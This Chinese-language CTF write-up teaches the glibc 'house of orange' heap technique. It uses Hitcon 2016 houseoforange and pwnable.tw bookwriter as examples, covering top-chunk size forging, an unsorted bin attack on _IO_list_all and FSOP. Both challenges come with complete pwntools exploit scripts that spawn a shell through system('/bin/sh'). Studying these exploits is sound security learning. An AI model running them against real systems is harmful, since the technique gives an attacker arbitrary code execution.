house of orange 学习

大名鼎鼎 house of orange来自于Hitcon CTF 2016中的一道 同名题目,其可以在没有free的情况下得到一块unsorted bin,因为unsorted bin的fd,bk为main_arean+88,所以可以通过申请切割unsorted bin来泄漏libc地址(没有深入了解的我一直以为这是house of orange仅此而已的用处……汗……)

House_of_orange – 2016Hitcon CTF

题目逻辑很简单,一共可以build 4次,每次build分进行3次堆分配,两次malloc,一次calloc,其中一次malloc是固定的0x10字节作为控制堆块,放着name和color的信息,另外按输入分配name 的大小。

程序漏洞

堆溢出:在upgrede 中没有规范size大小导致堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall upgrade(__int64 a1, __int64 a2)
{
_DWORD *v3; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
signed int v5; // [rsp+Ch] [rbp-14h]

if ( unk_203074 > 2u )
return puts("You can't upgrade more");
if ( !qword_203068 )
return puts("No such house !");
printf("Length of name :", a2);
size = sub_C65();
if ( size > 0x1000 )
size = 4096;
printf("Name:");
sub_C20((void *)qword_203068[1], size); // size没有限制,堆溢出
printf("Price of Orange: ", size);
v3 = (_DWORD *)*qword_203068;
*v3 = sub_C65();
sub_CC4();
printf("Color of Orange: ");
v5 = sub_C65();
if ( v5 != 56746 && (v5 <= 0 || v5 > 7) )
{
puts("No such color");
exit(1);
}
if ( v5 == 56746 )
*(_DWORD *)(*qword_203068 + 4LL) = 56746;
else
*(_DWORD *)(*qword_203068 + 4LL) = v5 + 30;
++unk_203074;
return puts("Finish");
}

漏洞利用

1、漏洞libc地址
因为程序存在堆溢出,所以可以修改top_chunk的大小,在malloc源码里面对于申请的堆块大小超过了top_chunk大小,将调用sysmalloc来进行分配,sysmalloc针对这种情况有两种处理,一种是直接mmap出来一块内存,一种是扩展top_chunk

1
2
3
4
5
6
7
8
9
10
11
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
(mp_.n_mmaps < mp_.n_mmaps_max))
{
char *mm; /* return value from mmap call*/
try_mmap:

也就是如果申请的大小>=mp_.mmap_threshold,就会mmap,所以只要我们申请的不要太大,就可以避免触发这个,mmap_threshold的值为128*1024,不过下面有两个assert需要检查 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一个asser就是要求修改后的top_chunk_size必须满足:

1
2
3
4
5
6
1、top_chunk_size>MINSIZE(MINISIZE)(并不知道具体值是多少,反正不要太小就行了)
2、top_chunk需要有pre_inuse的标志,也就是最后一个比特为1
3、old_end & pagemask == 0
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
伪造的size必须页对齐,也就是(top_chunk+size-1) & 0xfff == 0
4、top_chunk_size小于申请分配的内存

满足以上四个条件之后,继续往下执行最后会把原先的old_top给释放掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);

这样,free出来就能得到一个unsorted bin,然后再次分配就可以从unsorted bin中切割出来。
接下来就可以堆溢出构造unsorted bin attack了,再伪造vtable进行FSOP攻击
首先来看一下漏洞的触发

_IO_flush_all_lockp不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
1、当libc执行abort流程时
2、当执行exit函数时
3、当执行流从main 函数返回时
FSOP也就 File Stream Oriented Programming,也是一种支持程序流程的方法,只不过方式是通过攻击File Stream来实现
先了解malloc对错误信息的处理过程,调用malloc_printerr,而malloc_printerr中用来打印错误的函数是__libc_message


之后又调用了abort函数,而abort函数中调用了_IO_flush_all_lockp,这里面用到了IO_FILE_ALL的结构,采用上虚表的方式调用,所以如果我们能修改IO_FILE的内容那么就可以一定程度上支持流程;
那么怎么支持呢,这里又需要用到unsorted bin attack的知识:在malloc的过程中,unsorted bin会从链表上卸下来,就是会把bk+0x10的位置写入本unsorted bin的地址,也就是amin_arena的地址
我们通过硬件断点来观察一下:


可以看到,断点被触发后_IO_list_all被修改成了指向top_chunk的地址main_arena+88
但是问题又来了,我们无法控制 main_arena的内容,那么该怎么处理呢?
这里还牵到io_file的使用了,IO_FILE结构中有一个字段是chain字段 ,它位于0x60偏移处,它指向的是下一个IO_FILE结构体,如果能够控制 这个字段,就能再指定IO_FILE的位置,它相当于是一个链表的结构;如此,,又联系到了small_chunk的问题了,在拆卸unsorted_bin的时候对属于small_bin的chunk进行了记录操作
IO_FILE_ALL指向的偏移0x60的位置正好是small_bin的index为5的地方,所以upgrede的时候需要把unsortbin设置为0x60大小。

因为第一个分配在main_arenaIO_FILE_plus结构 的fp->mode等值不符合要求,所以会通过chains跳转到下一个IO_FILE_plus,也就是我们之前设的unsorted bin,然后这个伪造的IO_FILE_plus需要满足以下条件

1
2
3
1、fp->mode > 0
2、_IO_vtable_offset(fp) == 0
3、fp->_IO_write_ptr > fp->_IO_write_base

整个程序支持流程如下:

malloc --> _int_malloc --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_overflow

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#coding:utf-8
from pwn import *

local = 1
if local:
context.log_level = 'debug'
p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./houseoforange')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

def build(size,name,price,color):
sla("choice : ",'1')
sla("name :",str(size))
sda("Name :",name)
sla("Orange:",str(price))
sla("Orange:",str(color))

def see():
sla("choice : ",'2')

def upgrade(size,name,price,color):
sla("choice : ",'3')
sla("name :",str(size))
sla("Name:",name)
sla("Orange: ",str(price))
sla("Orange: ",str(color))

build(0x28,'R4bb1t',1,1)
pay = 0x28*'\x00' + p64(0x21) + 0x18*'\x00' + p64(0xf91)
upgrade(0x100,pay,1,1)
build(0xf90,'n0va',2,2)
build(8,'a',3,3)
see()
ru("house : ")
main_arena = u64(rc(6).ljust(8,'\x00'))-65
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.warn("libc_base --> %s",hex(libc_base))
pay = house_of_orange_payload(libc,libc_base)
# debug(0x1119)
upgrade(0x1000,0x30*'\x00' + pay,4,4)

# debug(0xd68)
sla("choice : ",'1')
# debug()

p.interactive()

bookwriter – pwnable.tw

一样是用到house_of_orange

程序同样没有free功能

1
2
3
4
5
6
7
8
9
----------------------
BookWriter
----------------------
1. Add a page
2. View a page
3. Edit a page
4. Information
5. Exit
----------------------

Information功能可以泄漏堆地址,可用也可不用,因为’/bin/sh\x00’也可以直接用libc地址

漏洞点

0x01

首先,自己实现的read函数没有0截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall my_read(__int64 a1, unsigned int a2)
{
unsigned int v3; // [rsp+1Ch] [rbp-4h]

v3 = _read_chk(0LL, a1, a2, a2);
if ( (v3 & 0x80000000) != 0 )
{
puts("read error");
exit(1);
}
if ( *(_BYTE *)((signed int)v3 - 1LL + a1) == 10 )// 如果不输入回车就没有0截断
*(_BYTE *)((signed int)v3 - 1LL + a1) = 0;
return v3;
}

0x02

edit函数中每次都会更新size,通过strlen,结合my_read没有0截断的情况,这里存在溢出可以修改到下一个chunk的size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = sub_4008CD();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !qword_6020A0[v1] )
return puts("Not found !");
printf("Content:");
my_read((__int64)qword_6020A0[v1], qword_6020E0[v1]);// 这里没有0截断
qword_6020E0[v1] = strlen(qword_6020A0[v1]); // 结合上面的没有0截断,这里存在溢出
return puts("Done !");
}

0x03

add函数中,两个全局变量,0x6020A0存在堆指针,相邻的0x6020E0存在size,且0x6020a0->0x6020e0 is 0x40 bytes (0x8 words)也就是可以存放8个堆指针,但是add函数中到堆块的约束条件是i>8 && !qword_6020A0[i],也就是可以申请第9个,只要这个时候qword_6020A0[8] == 0也就是0x6020E0 == 0,这样,0号堆块的size位就被放上了一个堆地址,这样就造成了堆溢出

漏洞利用

1、通过edit中的溢出修改top_chunk的size,house_of_orange得到一块main_arena进行泄漏地址
2、利用0号块的size溢出构造FSOP攻击
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *

local = 1
if local:
context.log_level = 'debug'
p = process('./bookwriter')
elf = ELF('./bookwriter')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10304")
elf = ELF('./bookwriter')
libc = ELF('./libc_64.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

def author(name):
sla("Author :",name)

def add(size,message=''):
sla("choice :",'1')
sla("page :",str(size))
if size:
sda("Content :",message)

def show(idx):
sla("choice :",'2')
sla("page :",str(idx))

def edit(idx,message):
sla("choice :",'3')
sla("page :",str(idx))
sla("Content:",message)

def link_heap():
sla("choice :",'4')
ru(0x40*'a')
res = u64(ru('\n').strip('\n').ljust(8,'\x00'))
sla(") ",str(0))

return res

author(0x40*'a')
add(0x18,0x18*'a')
edit(0,0x18*'a')
edit(0,0x18*'a' + '\xe1\x0f\x00')
heap_addr = link_heap()-0x10
log.warn("heap_addr --> %s",hex(heap_addr))
edit(0,'\x00')
for i in range(8):
add(0x18,'b')
show(7)
ru("Content :\n")
main_arena = u64(ru('\n').strip('\n').ljust(8,'\x00'))-66
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']
log.warn("libc_base --> %s",hex(libc_base))

pay = house_of_orange_payload(libc,libc_base)
'''
pay = 0x110*'\x00'
pay += '/bin/sh\x00'
pay += p64(0x61) + p64(main_arena+88)
pay += p64(IO_list_all-0x10)
pay += p64(2) + p64(3)
pay += p64(0)*9
pay += p64(system)
pay += p64(0)*11
pay += p64(heap_addr+0x180)
'''
# gdb.attach(p,"b *0x4009FE")
edit(0,0x110*'\x00' + pay)
add(0)
# gdb.attach(p)
p.interactive()

house_of_orange攻击有一定概率失败,主要原因是在Bypass时,

1
2
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
&& _IO_OVERFLOW (fp, EOF) == EOF)

由于第一次将_IO_list_all支持到main_arena时,main_arena不可控,该内存随机,所以有时(fp->_mode<=0 && fp->_IO_write_ptr > fp-> _IO_write_base)结果 为0,造成执行_IO_overflow(fp,EOF) == EOF调用未知vtable错误地址,程序 abort,所以程序有一定的失败率

参考资料:
https://bbs.pediy.com/thread-222718.htm
https://tac1t0rnx.space/2018/01/10/house-of-orange/
https://wiki.x10sec.org/pwn/heap/house_of_orange/
http://p4nda.top/2017/12/15/pwnable-tw-bookwriter/

0%